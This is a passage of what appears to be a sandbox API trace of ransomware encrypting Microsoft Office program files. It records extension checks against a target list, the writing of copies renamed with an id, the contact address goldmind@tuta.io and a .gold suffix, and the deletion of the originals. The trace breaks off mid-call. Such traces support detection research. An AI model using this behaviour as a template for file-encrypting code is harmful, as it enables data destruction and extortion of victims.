[0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".1cd") returned 4 [0108.833] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".jpg") returned 4 [0108.833] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".doc") returned 4 [0108.833] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.833] lstrlenW (lpString=".docx") returned 5 [0108.833] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.833] lstrlenW (lpString=".pdf") returned 4 [0108.833] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".xls") returned 4 [0108.833] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".xlsx") returned 5 [0108.833] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.833] lstrlenW (lpString=".ppt") returned 4 [0108.833] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.833] lstrlenW (lpString=".zip") returned 4 [0108.833] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.833] lstrlenW (lpString=".rar") returned 4 [0108.833] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.834] lstrlenW (lpString=".bz2") returned 4 [0108.834] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.834] lstrlenW (lpString=".7z") returned 3 [0108.834] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.834] lstrlenW (lpString=".dbf") returned 4 [0108.834] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.834] lstrlenW (lpString=".1cd") returned 4 [0108.834] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65 [0108.834] lstrlenW (lpString=".jpg") returned 4 [0108.834] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.834] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0108.834] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0108.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.834] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0108.834] CloseHandle (hObject=0x380) returned 1 [0108.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 0x20 [0108.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0109.190] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.190] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.225] GetLastError () returned 0x0 [0109.225] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0109.226] WriteFile (in: hFile=0x38c, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0109.226] ReadFile (in: hFile=0x39c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.226] WriteFile (in: hFile=0x38c, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0109.227] SetEndOfFile (hFile=0x38c) returned 1 [0109.227] CloseHandle (hObject=0x38c) returned 1 [0109.227] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.227] SetEndOfFile (hFile=0x39c) returned 1 [0109.229] CloseHandle (hObject=0x39c) returned 1 [0109.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 1 [0109.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.230] lstrlenW (lpString=".doc") returned 4 [0109.230] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0109.230] lstrlenW (lpString=".docx") returned 5 [0109.230] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0109.230] lstrlenW (lpString=".pdf") returned 4 [0109.230] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0109.230] lstrlenW (lpString=".xls") returned 4 [0109.230] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0109.230] lstrlenW (lpString=".xlsx") returned 5 [0109.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0109.230] lstrlenW (lpString=".ppt") returned 4 [0109.230] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0109.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.230] lstrlenW (lpString=".zip") returned 4 [0109.230] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0109.230] lstrlenW (lpString=".rar") returned 4 [0109.230] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0109.230] lstrlenW (lpString=".bz2") returned 4 [0109.230] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString=".7z") returned 3 [0109.231] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".dbf") returned 4 [0109.231] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".1cd") returned 4 [0109.231] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".jpg") returned 4 [0109.231] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".doc") returned 4 [0109.231] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString=".docx") returned 5 [0109.231] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0109.231] lstrlenW (lpString=".pdf") returned 4 [0109.231] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString=".xls") returned 4 [0109.231] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString=".xlsx") returned 5 [0109.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0109.231] lstrlenW (lpString=".ppt") returned 4 [0109.231] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".zip") returned 4 [0109.231] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString=".rar") returned 4 [0109.231] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0109.231] lstrlenW (lpString=".bz2") returned 4 [0109.231] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString=".7z") returned 3 [0109.231] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".dbf") returned 4 [0109.231] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".1cd") returned 4 [0109.231] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0109.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65 [0109.231] lstrlenW (lpString=".jpg") returned 4 [0109.231] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0109.231] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0109.231] lstrlenW (lpString="XLINTL32.REST.IDX_DLL") returned 21 [0109.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.468] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=383872) returned 1 [0109.468] CloseHandle (hObject=0x3b8) returned 1 [0109.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 0x20 [0109.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.569] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.569] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.570] GetLastError () returned 0x0 [0109.570] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x5db80, lpOverlapped=0x0) returned 1 [0109.603] WriteFile (in: hFile=0x38c, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x5db90, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x5db90, lpOverlapped=0x0) returned 1 [0109.608] ReadFile (in: hFile=0x394, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.608] WriteFile (in: hFile=0x38c, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0109.609] SetEndOfFile (hFile=0x38c) returned 1 [0109.609] CloseHandle (hObject=0x38c) returned 1 [0109.609] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.609] SetEndOfFile (hFile=0x394) returned 1 [0109.615] CloseHandle (hObject=0x394) returned 1 [0109.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 1 [0109.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.637] lstrlenW (lpString=".doc") returned 4 [0109.637] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.637] lstrlenW (lpString=".docx") returned 5 [0109.637] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.637] lstrlenW (lpString=".pdf") returned 4 [0109.637] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.637] lstrlenW (lpString=".xls") returned 4 [0109.638] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".xlsx") returned 5 [0109.638] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.638] lstrlenW (lpString=".ppt") returned 4 [0109.638] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".zip") returned 4 [0109.638] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".rar") returned 4 [0109.638] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".bz2") returned 4 [0109.638] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".7z") returned 3 [0109.638] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".dbf") returned 4 [0109.638] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".1cd") returned 4 [0109.638] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".jpg") returned 4 [0109.638] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".doc") returned 4 [0109.638] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".docx") returned 5 [0109.638] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.638] lstrlenW (lpString=".pdf") returned 4 [0109.638] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".xls") returned 4 [0109.638] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".xlsx") returned 5 [0109.638] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.638] lstrlenW (lpString=".ppt") returned 4 [0109.638] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".zip") returned 4 [0109.638] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".rar") returned 4 [0109.638] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".bz2") returned 4 [0109.638] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString=".7z") returned 3 [0109.638] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".dbf") returned 4 [0109.638] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".1cd") returned 4 [0109.638] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69 [0109.638] lstrlenW (lpString=".jpg") returned 4 [0109.638] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.639] lstrcmpiW (lpString1=".ACCDU", lpString2=".gold") returned -1 [0109.639] lstrlenW (lpString="ACWZUSR12.ACCDU") returned 15 [0109.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.684] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=3440640) returned 1 [0109.684] CloseHandle (hObject=0x38c) returned 1 [0109.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0x20 [0109.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0109.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.684] lstrlenW (lpString=".doc") returned 4 [0109.684] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".docx") returned 5 [0109.684] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0109.684] lstrlenW (lpString=".pdf") returned 4 [0109.684] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".xls") returned 4 [0109.684] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".xlsx") returned 5 [0109.684] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0109.684] lstrlenW (lpString=".ppt") returned 4 [0109.684] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.684] lstrlenW (lpString=".zip") returned 4 [0109.684] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".rar") returned 4 [0109.684] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".bz2") returned 4 [0109.684] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString=".7z") returned 3 [0109.684] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0109.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.684] lstrlenW (lpString=".dbf") returned 4 [0109.684] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0109.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".1cd") returned 4 [0109.685] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".jpg") returned 4 [0109.685] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".doc") returned 4 [0109.685] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".docx") returned 5 [0109.685] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1 [0109.685] lstrlenW (lpString=".pdf") returned 4 [0109.685] lstrcmpiW (lpString1=".pdf", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".xls") returned 4 [0109.685] lstrcmpiW (lpString1=".xls", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".xlsx") returned 5 [0109.685] lstrcmpiW (lpString1=".xlsx", lpString2="ACCDU") returned -1 [0109.685] lstrlenW (lpString=".ppt") returned 4 [0109.685] lstrcmpiW (lpString1=".ppt", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".zip") returned 4 [0109.685] lstrcmpiW (lpString1=".zip", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".rar") returned 4 [0109.685] lstrcmpiW (lpString1=".rar", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".bz2") returned 4 [0109.685] lstrcmpiW (lpString1=".bz2", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString=".7z") returned 3 [0109.685] lstrcmpiW (lpString1=".7z", lpString2="CDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".dbf") returned 4 [0109.685] lstrcmpiW (lpString1=".dbf", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".1cd") returned 4 [0109.685] lstrcmpiW (lpString1=".1cd", lpString2="CCDU") returned -1 [0109.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU") returned 65 [0109.685] lstrlenW (lpString=".jpg") returned 4 [0109.685] lstrcmpiW (lpString1=".jpg", lpString2="CCDU") returned -1 [0109.685] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.685] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0109.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.692] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x351ff1c 